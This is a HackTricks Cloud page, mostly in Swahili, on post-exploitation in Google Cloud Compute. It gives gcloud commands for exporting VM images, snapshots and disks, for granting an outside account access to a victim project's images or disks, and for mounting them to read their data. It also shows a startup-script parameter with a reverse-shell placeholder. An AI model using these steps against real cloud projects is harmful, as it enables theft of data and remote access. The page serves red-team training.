GCP - Compute Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Compute

Kwa maelezo zaidi kuhusu Compute na VPC (Networking) angalia:

GCP - Compute Enum

Export & Inspect Images locally

Hii itamruhusu mshambuliaji kupata data iliyomo ndani ya picha zilizopo tayari au kuunda picha mpya za VMs zinazofanya kazi na kupata data zao bila kuwa na ufikiaji wa VM inayofanya kazi.

Inawezekana kusafirisha picha ya VM kwenye bucket kisha kuipakua na kuimount locally kwa amri:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Ili kutekeleza hatua hii, mshambuliaji anaweza kuhitaji mamlaka juu ya uhifadhi wa bucket na kwa hakika mamlaka juu ya cloudbuild kwani ndiyo huduma itakayohitajika kutekeleza usafirishaji. Zaidi ya hayo, ili hii ifanye kazi, SA ya codebuild na SA ya compute zinahitaji ruhusa za mamlaka. SA ya cloudbuild <project-id>@cloudbuild.gserviceaccount.com inahitaji:

• roles/iam.serviceAccountTokenCreator

• roles/compute.admin

• roles/iam.serviceAccountUser

Na SA <project-id>[e-mail] inahitaji:

• roles/compute.storageAdmin

• roles/storage.objectAdmin

Usafirishaji & Ukaguzi wa Snapshots & Disks kwa ndani

Haiwezekani kusafirisha moja kwa moja snapshots na disks, lakini inawezekana kubadilisha snapshot kuwa disk, disk kuwa picha na kufuata sehemu ya awali, kusafirisha picha hiyo ili kuikagua kwa ndani.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Kagua Picha inayounda VM

Kwa lengo la kufikia data iliyohifadhiwa katika picha au ndani ya VM inayotembea kutoka mahali ambapo mshambuliaji ameunda picha, inawezekana kutoa akaunti ya nje ufikiaji juu ya picha:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

na kisha unda VM mpya kutoka kwake:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Ikiwa huwezi kutoa ufikiaji wa akaunti yako ya nje kupitia picha, unaweza kuzindua VM ukitumia picha hiyo katika mradi wa mwathirika na kufanya metadata itekeleze shell ya kinyume ili kufikia picha hiyo kwa kuongeza param:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

Kwa lengo la kufikia data iliyohifadhiwa kwenye diski au snapshot, unaweza kubadilisha snapshot kuwa diski, diski kuwa picha na kufuata hatua za awali.

Au unaweza kutoa akaunti ya nje ruhusa juu ya diski (ikiwa hatua ya mwanzo ni snapshot toa ruhusa juu ya snapshot au unda diski kutoka kwake):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Unganisha diski kwa mfano:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Mount the disk inside the VM:

1. SSH kwenye VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]

2. Tambua Disk: Mara baada ya kuingia kwenye VM, tambua diski mpya kwa kuorodhesha vifaa vya diski. Kawaida, unaweza kuipata kama /dev/sdb, /dev/sdc, n.k.

3. Fanya Format na Mount Disk (ikiwa ni diski mpya au raw):

• Unda mahali pa ku-mount:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]

• Mount diski:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Ikiwa huwezi kutoa ufikiaji kwa mradi wa nje kwa snapshot au diski, huenda ukahitaji kufanya hatua hizi ndani ya mfano katika mradi sawa na snapshot/diski.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.